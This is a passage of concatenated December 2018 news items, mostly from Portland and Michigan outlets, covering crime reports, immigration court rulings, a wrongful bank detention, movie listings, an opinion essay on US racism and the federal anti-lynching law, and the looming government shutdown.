of girls in a state of undress, according to the complaint. Krieger ended up expressing interest in traveling to Boise to have sex with an undercover officer posing as a 13-year-old girl, Detective Robert Givens of Homeland Security Investigations wrote in the complaint. Krieger sent a nude photo of himself from the neck down to the suspected 13-year-old as well as child pornographic images to the teenagers purported father, also an undercover officer, the complaint says. Based on the times of the chats and statements made during the chats by the subject, I believe that the subject was conducting many of the chats with the undercover child and father while at work, Givens wrote. Krieger was arrested Tuesday afternoon before traveling to Idaho. Hes being held at the Multnomah County Detention Center and is due back in court Friday for a detention hearing. The Sheriffs Office was notified of the investigation in September. At the request of investigators, the sheriffs officials kept Krieger on the job until his arrest "to preserve the integrity'' of the investigation, according to the Sheriffs Office. Krieger, according to state records, started as a reserve deputy for the Sheriffs Office in June 2002. He became a corrections deputy in 2004 and was reclassified as a civilian employee in May 2009. He worked as an analyst for an information technology work group and had no contact with the public and had no enforcement responsibilities, according to the Sheriffs Office. -- Maxine Bernstein Email at mbernstein@oregonian.com Follow on Twitter @maxoregonian Three weeks into his new job, Paul McCowns was ready to cash his first paycheck. There were no issues when he first entered a Huntington Bank branch in Brooklyn, Ohio, on Dec. 1. The bank asked for two forms of ID, which McCowns provided, he told Cleveland 19 News. An employee then asked for a fingerprint, which is standard procedure for non-Huntington customers attempting to cash checks, according to the bank. But soon bank employees began to question the legitimacy of his check, which was worth just over $1,000, said McCowns, who is black. They called his employer, an electric company, numerous times to confirm, but his employer did not answer. The bank turned him away, he said. Moments later, he was handcuffed and put into the back of a police cruiser. "I get in my truck, and the squad car (pulls) in front of me, and he says, 'Get out the car,' " McCowns, 30, told Cleveland 19 News. An employee had called Brooklyn police, who detained McCowns until they verified with his employer that the check was real. McCowns said his employer told police: " 'Yes, he works for me, he just started, and yes, my payroll company does pay him that much.' " In a 911 call, an employee at the bank is heard telling an operator that McCowns had tried to cash a fraudulent check. "Does he know you called 911?" the operator asks. "No," the employee responds. Brooklyn Police Chief Scott Mielke said Tuesday that since July, there have been at least 10 calls out to the Huntington Bank branch where McCowns was detained - all of which have resulted in arrests for fraudulent checks. A spokesman from Huntington Bank confirmed Mielke's account, adding that recent incidents have put employees and tellers at the branch on high alert. The spokesman said they have attempted to reach McCowns multiple times to apologize but that he hasn't returned their calls. They issued the following statement: "We sincerely apologize to Mr. McCowns for this extremely unfortunate event. We accept responsibility for contacting the police as well as our own interactions with Mr. McCowns. Anyone who walks into a Huntington branch should feel welcomed. Regrettably, that did not occur in this instance and we are very sorry. We hold ourselves accountable to the highest ethical standards in how we operate, hire and train colleagues, and interact with the communities we have the privilege of serving." McCowns did not return a call requesting comment Friday afternoon. He told Cleveland 19 News that he had no trouble cashing it at another Huntington branch the next day. The person who made that phone call - that manager, that teller - whoever made that phone call, I feel as though they were judging, McCowns said. He added that the bank should change its policies for people who arent account holders. --The Washington Post UPDATE DEC. 27: A grand jury has indicted Michael T. Amatullo on two counts of felony unlawful use of a weapon, two counts of misdemeanor second-degree intimidation and two counts of misdemeanor menacing. A 60-year-old Southeast Portland man faces hate crimes charges, accused of repeatedly yelling the n-word at an 8-year-old African American boy and later his 14-year-old brother. Michael T. Amatullo, who is white, ended up raising a butcher knife as he stood 6 to 7 feet away, prompting the boys to run and hide under a nearby stairwell at their apartment complex, according to a probable cause affidavit. The boys then called 911 from their hiding place Tuesday, police said. Amatullo and the boys are neighbors. Amatullo was booked into jail Tuesday afternoon, then released later that day. He was arraigned on two counts of misdemeanor menacing and two counts of second-degree intimidation, which is a hate crime. He pleaded not guilty during a hearing Wednesday in Multnomah County Circuit Court. According to the probable cause affidavit, the 8-year-old was taking out the trash when Amatullo began screaming that the youngster was staring at him. Amatullo then directed the racial slur at him, authorities say. The 14-year-old brother intervened and Amatullo called him the slur, according to the affidavit. The teen yelled back; Amatullo said he would beat up the teen if he kept it up; and Amatullo threatened the brothers with the knife, the affidavit states. A police officer arrested Amatullo. The officer asked Amatullo if he thought of himself as a racist and Amatullo responded with a racist tirade, according to the affidavit. Amatullo told police that hed had a confrontation with the boys and that hed grabbed the knife because the 14-year-old had threatened him, according to the affidavit. Amatullo also had called 911. After his court appearance, Amatullo told The Oregonian/OregonLive that hed had an ongoing disagreement with the family and that the 14-year-old had called him a racially charged name. He said he hadnt planned to chase the boys with the knife, but he was willing to use it if they entered his apartment. Im going to defend myself ... even if it means stabbing someone to death, Amatullo said. You can defend yourself in your home. Amatullo has declined to be represented by a court-appointed lawyer. Whatever is going to happen is going to happen, Amatullo said. The DA is going to do what hes going to do. Amatullos criminal history encompasses 12 felonies and five misdemeanors for crimes that include burglary and theft. Almost all of his convictions predate 2002. Amatullo told jailers that he lives off Social Security disability, was honorably discharged from the military and has been diagnosed with depression and post-traumatic stress disorder. -- Aimee Green agreen@oregonian.com o_aimee WASHINGTON A federal judge on Wednesday blocked Trump administration policies that prevented immigrants who suffered gang violence or domestic abuse in their home countries from seeking asylum. U.S. District Court Judge Emmet Sullivan declared that some of the guidance that then-Attorney General Jeff Sessions issued this year cannot be used to determine whether an immigrant has a credible fear of persecution or torture in their home countries, the first step to making an asylum claim in the U.S. The judge said the administrations policy on asylum seekers violates federal immigration law and that it is the will of Congress not the whims of the executive that sets the standards for expedited removal. It was yet another legal blow for President Donald Trump's efforts to harden immigration policies without Congress changing laws. A U.S. judge in San Francisco Wednesday extended his decision blocking the Trump administration from enforcing a ban on asylum for any immigrants who illegally cross the U.S.-Mexico border. Judge Jon Tigar ruled in favor of keeping the ban on hold pending the outcome of a lawsuit challenging it. The case could take months to resolve. He had previously blocked the ban for 30 days. The ban conflicts with an immigration law that says immigrants can apply for asylum regardless of how they enter the U.S., Tigar said. The administration has asked the Supreme Court to allow that asylum policy to go forward. Responding to Sullivan's ruling, a Justice Department spokesman, Steven Stafford, said Sessions' guidance had followed the requirements for asylum under U.S. law. "We are reviewing our options with regard to this ruling, and we will continue to restore the rule of law in our immigration system," he said. Trump administration officials say the asylum process is being exploited by immigrants who are counting on passing the initial credible-fear screening and being released into the country. Only about 9 percent of all people who initially claim asylum are granted it, and tens of thousands of families from Central America are coming to the U.S. every month. The immigration policy change had an immediate impact. Immigration lawyers say people whom they expected would pass credible-fear screenings began to fail them, and lawyers say immigration judges are signing off on more denials during appeals, effectively ending what could have been a yearslong asylum process before it began. But Trump officials also say the number of people claiming credible fear has risen dramatically. Asylum can be granted to people who were persecuted in their home country or could be persecuted if forced to return. Thousands of people seek asylum each month at U.S. Customs and Border Protection stations along the southwest border. The American Civil Liberties Union sued the government over the June 11 change on behalf of 12 parents and children who were wrongly found not to have a credible fear of return. Sullivan's ruling impacts thousands of cases where immigrants are in expedited removal proceedings. Among the plaintiffs was a woman identified only by a pseudonym, Grace. The ACLU said Grace's partner beat her and her children, and sexually assaulted her and her daughter. Once, the ACLU says, her daughter suffered a miscarriage after he attacked her. The lawsuit says police did not act when she contacted them. The lawsuit says Grace was found not to have a credible fear of persecution. The judge also ordered the government to return any of the plaintiffs who may have been deported back to the U.S., and prevent further deportations. "This ruling is a defeat for the Trump administration's all-out assault on the rights of asylum seekers. The government's attempt to obliterate asylum protections is unlawful and inconsistent with our country's longstanding commitment to provide protection to immigrants fleeing for their lives," said Jennifer Chang Newell, managing attorney of the ACLU's Immigrants' Rights Project, who argued the case. The judge who issued the ruling attracted attention one day earlier for his public excoriation of former Trump administration adviser Michael Flynn, saying he felt disgusted and disdainful of Flynns crimes. He allowed Flynn to postpone his sentencing so Flynn could continue cooperating with investigators and get credit that could allow him to avoid prison. The Associated Press Authorities are asking for help identifying the person responsible for sparking a fire that caused over $300,000 in damage at a Southeast Portland business. Crime Stoppers of Oregon said Thursday that there wasnt any suspect information in the blaze, which damaged McCollum Auto Body in July. The nonprofit and Portlands police and fire bureaus are asking for help identifying the person who allegedly ignited a firework near a door to the business, which is located on Southeast Foster Road. The firework caught a wooden door on fire and caused major damage to the building and vehicles inside, according to Crime Stoppers. Crime Stoppers said people can submit tips online, by calling 503-823-4357 or by using the P3 Tips mobile application. Crime Stoppers offers rewards of as much as $2,500 for information, reported to the nonprofit, that leads to arrests in unsolved felony cases. Tipsters can stay anonymous. Jim Ryan UPDATED 5:35 a.m. Thursday, Dec. 20: Portland police have publicly identified the men arrested as 20-year-old Jutorey D. Scott and 18-year-old Mrr Ford. Scott was jailed on a parole violation, police said, and Ford was jailed on suspicion of first-degree theft, possession of a loaded firearm and unlawful possession of a firearm. Both remained in the Multnomah Count Detention Center early Thursday. The third person arrested is under 18 years old, according to police. He was booked into a juvenile detention facility. *** Three people were arrested and a fourth remains on the lam after an hourslong search of a Southeast Portland neighborhood Wednesday. Officers responded to the 10100 block of Southeast Liebe Street around 2:40 p.m. to investigate a report of a suspicious vehicle and officers found Land Rover driving in the area with four people inside, according to Portland police. The SUV stopped at some point and all everyone inside ran. One person was caught by officers in the 10500 block of Southeast Steele Street and arrested. The SUV was reported stolen and a handgun was found inside, police said. The Portland Police Bureau announced around 3:45 p.m. that members of the agencys Special Emergency Reaction Team and Crisis Negotiation Team were responding to the scene to help search for the trio. The three were believed to be carrying guns, police said. The search was from Southeast 104th Avenue to 108th Avenue and from Southeast Mitchell Street and Harold Street. Two residents called 911 and reported either seeing someone running through a backyard or trying to enter a home, police said. The person that went through the yard was reported to drop and pick up what appeared to be a gun. Two more people were later arrested. The police bureau announced around 7:20 p.m. that they were ending their search. Police later announced the arrests of a 20-year-old man on suspicion of violating parole, an 18-year-old man accused of theft and unlawful gun possession and a boy whose identity and alleged crimes have not been released by authorities. Police also have not released any information on the fourth person being sought. No injuries have been reported. In addition to the reported stolen SUV and handgun found, officers located a second gun reported as stolen and a second stolen vehicle during the search, police said. Authorities havent released further details related to the second vehicle. Everton Bailey Jr. Its Exhibit A. for why Portland women have such a hard time finding decent dates: An Oregon father is apparently trying to find love for his three sons during a family trip to New Zealand. The dad, who is just identified as Neil in the New Zealand Herald, put an ad in the paper this week, which read, We are from the States (Oregon), visiting your beautiful country. My wife and I have 3 wonderful, successful, handsome alas unmarried sons between the ages of 28-32. We are not expecting, just hoping to introduce our sons to nice NZ daughters. At the very least, the ad continues, well embarrass our sons and the truth is, we do find some enjoyment in that. Neil will likely succeed in that, as a photo of his boys is the featured image in a follow-up story in the Herald. According to the paper, Since the classified ad was first published on Wednesday, it has gone viral with many Kiwis posting a photo of it on social media. We like to travel and I have gone with my kids to Europe, Australia and Japan, he told the Herald, but we have never really interacted with anybody and in my mind I was just interested in them getting to know people, meeting people their age, and maybe develop some lasting, permanent relationships. Neil told the Herald that he has already received over 200 emails and that he plans to surprise his sons with news of the ad on the flight over or when they get off the plane. "I have never done anything like this before and they don't know, he said. They are clueless, which I love." They may not remain clueless for long, however. At least two of the sons live in the Pacific Northwest -- one in Seattle and one in Portland -- and the family doesnt arrive in New Zealand until the day after Christmas. A man died early Thursday after being hit by a MAX train in Hillsboro, police say. A Hillsboro police spokesman said the eastbound train hit the man 50 yards west of Northeast Cornelius Pass Road at the start of a train overpass. Shuttle buses are serving area stations, according to TriMet. MAX Blue Line riders should expect delays. Vehicle traffic isnt affected, according to police. CORRECTION: MAX Blue Line disrupted due to a collision with a pedestrian near Quatama. Shuttle buses serving stations between Orenco/NW 231st Ave and Willow Creek/SW 185th Ave Transit Center TriMet Service Alerts (@trimetalerts) December 20, 2018 Sgt. Eric Bunday, a Hillsboro police spokesman, said early Thursday that police were still trying to figure out why the man was on the tracks. The area doesnt have a pedestrian crossing, he said. The crash happened about 4:47 a.m. Police hadnt confirmed the mans identity early Thursday. Jim Ryan (CNN) Six baby seals have been found decapitated at a popular New Zealand bay, in what authorities described as a "brutal and violent" crime. A tourist operator discovered the 11-month-old fur seal pups floating in tidal wash at Scenery Nook, near Christchurch on New Zealand's South Island. They had apparently been killed and had their heads removed elsewhere, before possibly being dumped by boat for visitors to find, according to the New Zealand government's Department of Conservation (DOC). Police have been called in to find the perpetrator, and the DOC is appealing for any recent sightings of boats in the area. "Due to the disturbing, brutal and violent nature of this crime against defenseless seal pups, it has been reported to the police," Andy Thompson, DOC Mahaanui Operations Manager, said in a statement. Three of the seals have been sent for an autopsy at a nearby university, and the DOC has ruled out the possibility of a shark attack. "We believe it's incredibly unlikely sharks would have bitten the heads off six seals but left the bodies untouched," Thompson said. "Regrettably, antagonism towards seals is often due to the misplaced belief that seals are eating large amounts of fish species valued for human consumption. "That isn't the case," he added. "I can't believe people are willing to run the risk of a life-long criminal conviction over a couple of fish." Fur seals are a protected species in New Zealand and it is a crime to harass or disturb them. This story was first published on CNN.com "Baby seals found decapitated at New Zealand tourist spot" 2D & 3D Aquaman (PG 13) Following the events of Justice League, Arthur Curry, the reluctant ruler of the underwater kingdom of Atlantis, is caught between surface dwellers and his own people who are ready to lash out and invade the surface. Jason Momoa, Amber Heard, Willem Dafoe 2D & 3D Bumblebee (PG 13) On the run in the year 1987, Bumblebee finds refuge in a junkyard in a small Californian beach town. Charlie, on the cusp of turning 18 and trying to find her place in the world, discovers Bumblebee, battle-scarred and broken. When Charlie revives him, she quickly learns this is no ordinary, yellow VW bug. Hailee Steinfeld, Dylan O'Brien, Megyn Price Welcome to Marwen (PG13) A victim of a brutal attack finds a unique and beautiful therapeutic outlet to help him through his recovery process. Eiza Gonzalez, Steve Carell, Leslie Mann Second Act (PG 13) A big box store worker reinvents her life and her life-story and shows Madison Avenue what street smarts can do. Vanessa Hudgens, Milo Ventimiglia, Jennifer Lopez Mary Poppins Returns (PG) In Depression-era London, a now-grown Jane and Michael Banks, along with Michaels three children, are visited by the enigmatic Mary Poppins following a personal loss. Through her unique magical skills, and with the aid of her friend Jack, she helps the family rediscover the joy and wonder missing in their lives. Emily Blunt, Lin-Manuel Miranda, Ben Whishaw The Mule (R) A 90-year-old horticulturist and WWII veteran is caught transporting 3 million worth of cocaine through Michigan for a Mexican drug cartel. Clint Eastwood 2D & 3D Spider-Man: Into the Spider-Verse (PG) Spider-Man crosses parallel dimensions and teams up with the Spider-Men of those dimensions to stop a threat to all reality. 2D & 3D Mortal Engines (PG 13) Many years after the Sixty Minute War, cities survive a now desolate Earth by moving around on giant wheels attacking and devouring smaller towns to replenish their resources. Once Upon a Deadpool (PG 13) After surviving a near fatal bovine attack, a disfigured cafeteria chef Wade Wilson struggles to fulfill his dream of becoming Mayberry's hottest bartender while also learning to cope with his lost sense of taste. Ralph Breaks the Internet (PG) Six years after the events of Wreck-It Ralph, Ralph and Vanellope, now friends, discover a wi-fi router in their arcade, leading them into a new adventure. Creed II (PG 13) Under the tutelage of Rocky Balboa, newly crowned light heavyweight champion Adonis Creed faces off against Viktor Drago, the son of Ivan Drago. Fantastic Beasts: The Crimes of Grindelwald (PG 13) Gellert Grindelwald has escaped imprisonment and has begun gathering followers to his cause elevating wizards above all non-magical beings. The only one capable of putting a stop to him is the wizard he once called his closest friend, Albus Dumbledore. However, Dumbledore will need to seek help from the wizard who had thwarted Grindelwald once before, his former student Newt Scamander. Eddie Redmayne, Katherine Waterston, Dan Fogler Instant Family (PG13) A couple find themselves in over their heads when they adopt three children. Mark Wahlberg, Rose Byrne, Isabela Moner Dr. Seuss' The Grinch (PG) A grumpy Grinch plots to ruin Christmas for the village of Whoville. The Bay County Health Department recognized last week by the Bay County Board of Commissioners for having been awarded the 2018 Director's Award from the Michigan Department of Health and Human Services. The MDHHS Director's Award is presented annually to a local health department in recognition of excellence in public health. The award was previously announced at the Michigan Premiere Public Health Conference in Bay City. This year's award recognizes local health departments that are using innovative approaches to improve health, well-being and equity. Awardees demonstrate programs or policies that have accomplished the following: 1. Adopted and adapted strategies to combat the evolving leading causes of illness, injury and premature death. 2. Developed strategies for promoting health and well-being that work most effectively for communities of today and tomorrow. 3. Identified, analyzed, and distributed information from new and/or real time data sources. 4. Built a more integrated, effective health system through collaboration between clinical care and public health. 5. Collaborated with a broad array of partners--including those at the neighborhood level and the non-health sectors -- to build health and more vital communities. The Bay County Health Department was specifically recognized for its work with Saginaw Valley State University and the Bay Arenac Behavioral Health Authority to establish the Bay Community Health Clinic. The clinic utilizes an integrated approach -- teaming professionals in nursing, occupational therapy, pharmacy and social work -- to address physical and mental health issues for patients with multiple chronic conditions. Those professionals are supported by students who provide help while receiving hands-on training. The clinic fills several needs that currently affect Bay County; especially the lack of primary care providers and a large segment of the population that has not been able to manage multiple and debilitating chronic diseases, including mental illness. "This is a great example of Bay County's innovation and providing leadership on important health matters," County Executive Jim Barcia said. "The recognition from MDHHS highlights our efforts to improve the community's health by leveraging important partners within Bay County. This award puts Bay County in the forefront among health departments in the nation that are taking new and ground-breaking approaches toward promoting the health of its local citizens." "This recognition is a testament to the hard work and dedication of the inter-professional team at Bay Community Health Clinic in delivering quality health care to an underserved population," said Kathleen Schachman, SVSU's Harvey Randall Wickes Endowed Chair in Nursing and a nurse practitioner at the clinic. "The partnership between SVSU and Bay County Health Department has created this unique clinical training environment that enriches the educational experience of health professions students and benefits the community." This is the third time in the past thirty three years that the Bay County Health Department has won the Director's Award. It was the recipient in 1992 for its work in reducing infant mortality in Bay County and again in 2001 for the establishment of one of the first home visiting programs in Michigan to focus on early childhood development. To the editor: The Michigan penalty for a first-time offense of operating while under the influence of alcohol is up to 93 days in jail, fines of $100 to $500, 360 hours (45 days) community service, vehicle immobilization at the court's discretion, possible ignition interlock device during probation. For our sheriff, Scott Stephenson, he should be receiving this penalty for making a poor decision in this situation. There is no decision more important than the safety of others, and Scott Stephenson's decision to drive while intoxicated was very selfish and dangerous. If Kalkaska County takes any less action they will be sending a couple of messages: 1) our officials are above the law; and 2) it is OK to drink and drive. GARY SUPPES Midland This new law is a good thing. The fact that it took until 2018 to enact it is unimpeachable proof of how racism is baked in to every crevice of this country. Hell, racism is the defining feature of this country. If you are the type to say that America is better than this in response to the litany of heinous crimes committed by the Trump administration, how do you square that stance with this reality? The moment when the United States Senate agreed unanimously to make lynching a federal crime for the first time. History. pic.twitter.com/MtoI0Or0mg Kamala Harris (@SenKamalaHarris) December 19, 2018 Americans are inundated with propaganda. We like to think that we're a bunch of independent thinkers on a righteous path to create a new, more advanced society, but we're closer to the brainwashing of North Korea than that imagined ideal. While we have created unimpeachable good in the world, we are responsible for as much suffering as any authoritarian state that we claim to be a great evil. The fact of the matter is that this country was built on a foundation of state-sanctioned genocide and mass enslavement, and that is the answer to the question of why didn't we have a federal anti-lynching law until 2018? Remember, America inspired Adolf Hitler. This isn't up for debate. Hitler said so in Mein Kampf: There is today one state in which at least weak beginnings toward a better conception [of immigration] are noticeable. Of course, it is not our model German Republic, but [the US], in which an effort is made to consult reason at least partially. By refusing immigrants on principle to elements in poor health, by simply excluding certain races from naturalisation, it professes in slow beginnings a view that is peculiar to the People's State. The United States' history is closer to the Nazi regime than it is to the shining city on a hill that we have been deluded into believing, as Alex Ross highlighted in The New Yorker: The Nazis were not wrong to cite American precedents. Enslavement of African-Americans was written into the U.S. Constitution. Thomas Jefferson spoke of the need to eliminate or extirpate Native Americans. In 1856, an Oregonian settler wrote, Extermination, however unchristianlike it may appear, seems to be the only resort left for the protection of life and property. General Philip Sheridan spoke of annihilation, obliteration, and complete destruction. To be sure, others promoted more peacefulalbeit still repressivepolicies. The historian Edward B. Westermann, in Hitler's Ostkrieg and the Indian Wars (Oklahoma), concludes that, because federal policy never officially mandated the physical annihilation of the Native populations on racial grounds or characteristics, this was not a genocide on the order of the Shoah. The fact remains that between 1500 and 1900 the Native population of U.S. territories dropped from many millions to around two hundred thousand. America's knack for maintaining an air of robust innocence in the wake of mass death struck Hitler as an example to be emulated. He made frequent mention of the American West in the early months of the Soviet invasion. The Volga would be our Mississippi, he said. Europeand not Americawill be the land of unlimited possibilities. Poland, Belarus, and Ukraine would be populated by pioneer farmer-soldier families. Autobahns would cut through fields of grain. The present occupants of those landstens of millions of themwould be starved to death. A 6 yo asylum seeker nearly died of cardiac arrest in Nov. after having been taken into custody by CBP. A 5 month old is being treated for pneumonia after being held in a CBP icebox cell. A 7 yo died in CBP custody. Those are just the ones we've learned about the last 10 days john r stanton (@dcbigjohn) December 19, 2018 You are likely reading this article on stolen land. Our American ancestors came to this country and slaughtered millions of Native Americans, then enslaved millions of Africans in the name of exploiting stolen land for financial gain. This is the foundation our economy is constructed on. The federal government enacted a litany of policies over the yearslike redlining in the 1930sthat explicitly made life more difficult for African Americans. In many ways, we are still an apartheid state, and the fact that it took 242 years to enact a federal anti-lynching law is unimpeachable proof of our nations depravity. War crimes in the name of racism have been legalized time and time and time again throughout Americas history. In Korematsu v. United States, the Supreme Court ruled that interning over 100,000 Japanese Americans in concentration camps during World War II was constitutional. Dred Scott v. Sandford affirmed that slaves could not be American citizens. Plessy v. Ferguson upheld the constitutionality of separate but equal laws. There is an endless stream of Supreme Court decisions throughout our history that affirmed the legality of the crimes against humanity which the Nazis said inspired them. This Nazi ideology isnt just confined to the American government. Henry Ford, one of our most beloved inventors, was convinced that Jews controlled the world, and he wrote articles titled like The International Jew: The Worlds Problem. Hitler even praised Ford in Mein Kampf, writing only a single great man, Ford, [who], to [the Jews] fury, still maintains full independence [from] the controlling masters of the producers in a nation of one hundred and twenty millions. The rise of white nationalism that we are presently witnessing is not an aberration, but a modern rebirth of our sordid history. Its no coincidence that the federal government did not have a law on the books criminalizing lynching, because the federal government explicitly endorsed that kind of terrorismand given that we currently jail more people than Joseph Stalin did at the height of his barbarity (not a higher percentagemore people, period), its fair to suggest that it still does. As the saying goes: This is America. The fact that were just getting around to a federal law criminalizing lynching is proof of how far we still have to go in order to reach our stated ideals that we have never lived up to. Jacob Weindling is a staff writer for Paste politics. Follow him on Twitter at @Jakeweindling. What is the former Qualcomm President hiding from? It's being reported that last week the Federal Trade Commission requested the court's permission to serve trial subpoenas on former Qualcomm president Derek Aberle and former Qualcomm vice chairman Steven Altman by mail after the two "repeatedly evaded attempts to personally serve subpoenas seeking their appearance at [the January 2019 FTC v. Qualcomm] trial." In order to document those fruitless efforts, the FTC attached, among other things, a report by a San Diego process server, Mr. Manfred Arnold Briese, Jr about how they tried to serve Derek Aberle but were foiled at every attempt. The FTC also tried to serve the subpoenas through Cravath, a law firm representing Qualcomm but also Messrs. Altman and Aberle at earlier depositions. However, Cravath denied being authorized to accept documents on behalf of Messrs. Altman and Aberle, pointing to the fact that Mr. Aberle is part of a group formed by former Qualcomm chairman Paul Jacobs, trying to raise funds to take over (and privatize) Qualcomm. Mr. Aberle apparently concluded that testifying at trial wouldn't be in his interest. He doesn't want to do anyone a favor by showing up. He wants to be left alone. So he's hiding behind a duct-taped gate--or he's somewhere else, but the people currently living on his property are hiding, reports Florian Mueller of FOSS Patents. The Process Server provided a photo of Mr. Derek Aberle's home gate wrapped with duct tape to ensure he couldn't be served. What won't help him avoid or delay his testimony is a potential federal government shutdown. Judge Koh handed down an order yesterday according to which the trial will go forward in any event. Last week California Judge Koh rejected Qualcomm's latest argument to dismiss the FTC case against them because Apple was using Intel modems proving that they had no monopoly. Koh responded by saying that the case was about Qualcomms business conduct and not its market power. On another front, a German court could possibly rule on ten Qualcomm-Apple patent infringement cases tomorrow if no delays are announced. A holiday bonus from James Patterson himself? Its a gift received by 333 workers at independent bookstores across the country. The award-winning novelist gave $750 to each of the bonus recipients. The workers were chosen after being nominated by both customers and colleagues. This year, nine workers at Pennsylvania bookstores were awarded the bonus. They are: Patterson has been giving out the holiday bonuses for the past five years. Per the Washington Post, Patterson has said he was happy to make a small difference in the lives of people who had helped so many in their communities. To see a full list of the recipients of the holiday bonuses, visit bookweb.org. Patterson has sold more than 380 million books worldwide and is best known for his Alex Cross series. Learn more about Patterson at jamespatterson.com. WASHINGTON (AP) President Donald Trump told congressional Republicans Thursday he would not sign a bill to fund the government because it doesnt include money for his border wall with Mexico, throwing the budget process into deep disarray and risking a federal shutdown this weekend. "The president said he will not sign this bill," House Speaker Paul Ryan said exiting a hastily called meeting with Trump and other GOP lawmakers at the White House. The House had been set to vote on the bill Thursday, before a deadline at midnight Friday to fund parts of the government or risk a partial shutdown just before Christmas. The White House suggested earlier Thursday that Trump was not on board with the critical spending agreement because it lacked billions of dollars for steel slats or a wall at the Mexican border. When I begrudgingly signed the Omnibus Bill, I was promised the Wall and Border Security by leadership. Would be done by end of year (NOW). It didnt happen! We foolishly fight for Border Security for other countries - but not for our beloved U.S.A. Not good! Donald J. Trump (@realDonaldTrump) December 20, 2018 And Trump himself lashed out at Republican leaders on Twitter after speaking by telephone with Ryan. Then Trump's press secretary issued a statement saying the president "does not want to go further without border security," including money for the wall. Trump has faced rare, bitter criticism from some fellow Republicans over the past day for "caving" on wall funding. As House Republicans struggled to find the votes to pass the Senate bill, Trump started blaming GOP leaders for failing to deliver on the $5 billion he had demanded for the wall. Ryan had promised a "big fight" after the midterm elections, but as Republicans lost House control, negotiations over the year-end spending bill have largely been between Trump and Democrats. "I was promised the Wall and Border Security by leadership," Trump tweeted shortly after calling Ryan during a morning meeting of House Republicans. "Would be done by end of year (NOW). It didn't happen! We foolishly fight for Border Security for other countries - but not for our beloved U.S.A. Not good!" The day's schedule was thrown into chaos. A morning press conference of GOP leaders was abruptly canceled as lawmakers filed out of a basement meeting to head to the floor for other matters. Voting was not set. "Republicans are in a state of disarray," said House Democratic Minority Leader Nancy Pelosi, who is poised to become speaker when Democrats take control Jan. 3. "Wall funding is a non-starter." The temporary funding bill would keep government running to Feb. 8, but some House Republicans say it's better to fight for the border wall now, before they relinquish their majority to Democrats in the new year. Facing enormous criticism from high-profile conservative media figures, they don't want to leave town without one last fight over the border wall. Rep. Warren Davidson, an Ohio Republican and House Freedom Caucus member, said some Republicans want to "continue to fight for wins we promised the American people we would get." "I don't know anybody that's ready to vote for this," he said. Members of the hard-right Freedom Caucus have been urging Trump to insist on money for the border wall with Mexico. Rep. Mark Meadows, R-N.C., a leader of the group, said Trump should veto the funding bill if it passes. "I'm not afraid of losing the vote, but I am afraid of not fighting," said Rep. Roger Williams, R-Texas. "That's how this president got in. We want a secure border. It's not the time to quit." Without a deal, more than 800,000 federal workers would face furloughs or be forced to work without pay, disrupting government operations days before Christmas. Trump has not indicated whether he would sign or veto the legislation if it is approved. With Pelosi's backing the bill likely has enough support to pass with votes mostly from Democratic lawmakers, who are still the minority, and some Republicans. The White House had previously indicated that Trump was open to reviewing whatever Congress could send him. But the president did not immediately weigh in on the short-term spending plan, which would fund government past Friday's deadline to Feb. 8. The Senate passed the bill Wednesday. Trump in an early morning tweet on Thursday had appeared to focus on other aspects of border security, and not just the wall. "With so much talk about the Wall, people are losing sight of the great job being done on our Southern Border by Border Patrol, ICE and our great Military," Trump tweeted. "Remember the Caravans? Well, they didn't get through and none are forming or on their way. Border is tight. Fake News silent!" Trump appeared earlier in the week to shelve his shutdown threats after promising a fight over the wall, a project central to his presidential campaign. Just last week Trump said he would be "proud" to shut down the government over it. Some of his allies described the move as caving on his pledge and they expressed concern it could hurt Trump's 2020 prospects. Meadows said Trump's political base "will just go crazy" if he signs a stopgap bill without the wall money. Meadows added on Fox News, "A lot of people are very nervous this morning about whether the president will cave or not." Trump had been directing his ire at Democrats, tweeting that they were "putting politics over country." The president also put Democrats on notice Thursday about their agenda for the new year, saying he "will not sign any of their legislation, including infrastructure, unless it has perfect Border Security." Trump wanted $5 billion. The bill keeps funding at current levels, $1.3 billion, for border security and fencing, but not for the wall. Senate Majority Leader Mitch McConnell, R-Ky., has said passing the stopgap funding bill would show that Republicans, still in control of the House and Senate, could finish the year by not prolonging a potential crisis. It was unclear how many House members might return for votes. Some 70 members missed Wednesday's session, almost as many Democrats as Republicans. Pelosi and Senate Minority Leader Chuck Schumer of New York have made it clear they will not support money for Trump's wall. Schumer said Democrats oppose Trump's border demands because the wall is "inefficient" and because Trump, as a candidate, promised that Mexico would pay for it, which Mexico has refused to do. "We want smart, effective border security," Schumer said. "That's not a wall." Congress did pass legislation to fund much of the government through the current budget year, until next Oct. 1. At issue in the current fight is money for nine of 15 Cabinet-level departments and dozens of agencies, including the departments of Homeland Security, Transportation, Interior, Agriculture, State and Justice, as well as national parks and forests. Many agencies, including the Pentagon and the departments of Veterans Affairs and Health and Human Services, are covered for the year and would continue to operate as usual. The U.S. Postal Service, busy delivering packages for the holiday season, would not be affected by any government shutdown because it's an independent agency. By LISA MASCARO, MATTHEW DALY and CATHERINE LUCEY, Associated Press Mick Mulvaney, President Trump's director of the Office of Management and Budget, has agreed to take the contentious position as acting White House chief of staff. The weekend President Trump announced Mulvaney's promotion, the Daily Beast released a video of Mulvaney criticizing the president during a campaign event, calling him a "terrible human being." Several members of the administration have been harsh critics of the president before taking a job working for him. Should they have declined to work for someone they don't respect? PERSPECTIVES According to the New York Times, Mulvaney stated that he was supporting Trump because the alternative--Hillary Clinton--was much worse in his estimation. Mulvaney, however, tweeted that he was excited about taking the position. This is a tremendous honor. I look forward to working with the President and the entire team. Its going to be a great 2019! https://t.co/X4gauBOg1d Mick Mulvaney (@MickMulvaneyOMB) December 14, 2018 According to the Daily Beast, Mulvaney is not alone in both his criticism of the president and his willingness to work for him. Per the New York Times: Some say that supporting the agenda of someone you think is vulgar and reprehensible is immoral. According to Politico, Mulvaney has been actively lobbying for the position. The Tylt is focused on debates and conversations around news, current events and pop culture. We provide our community with the opportunity to share their opinions and vote on topics that matter most to them. We actively engage the community and present meaningful data on the debates and conversations as they progress. The Tylt is a place where your opinion counts, literally. The Tylt is an Advance Local Media, LLC property. Join us on Twitter @TheTylt, on Instagram @TheTylt or on Facebook, we'd love to hear what you have to say. Gov. Tom Wolf lit a social media firestorm Wednesday with a tweet about taking a serious and honest look at legalizing the recreational use of marijuana by adults. When pressed on the issue in person Thursday, however, the governor did not sound like a man ready to make the issue a top, early priority in his second term. In fact, at a press conference in his reception room, Wolf went no further than to say that in a world where neighboring states are looking at or actually in the process of liberalizing their policies, it only makes sense for Pennsylvanias leaders to keep an open mind about it. I think were looking at whats happening around us," 